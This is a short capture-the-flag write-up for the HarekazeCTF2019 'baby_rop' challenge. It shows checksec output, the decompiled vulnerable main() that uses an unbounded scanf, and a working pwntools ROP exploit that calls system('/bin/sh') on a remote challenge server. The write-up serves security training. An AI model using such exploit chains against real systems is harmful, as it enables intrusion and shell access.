HugeH4rD

[HarekazeCTF2019]baby_rop

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/[HarekazeCTF2019]baby_rop/babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled		//栈不可执行
    PIE:      No PIE (0x400000)

IDA

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF

  system("echo -n \"What's your name? \"");		//system()调用
  __isoc99_scanf("%s", v4);
  printf("Welcome to the Pwn World, %s!\n", v4);	
  return 0;
}

可用字符串

.data:0000000000601048 00000008 C /bin/sh

system 0x400490

0x02

---

思路

s	0x10H
ebp	0x8
pop_rdi_ret
-	bin_sh
	system()

0x03

---

from pwn import *

# io = process(['./baby_rop'])
io = remote('node4.buuoj.cn', 28387)

padding = 0x10 + 0x8
system = 0x400490
pop_rdi_ret = 0x400683
bin_sh = 0x601048

payload = b'a' * padding + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendlineafter('e?', payload)
io.interactive()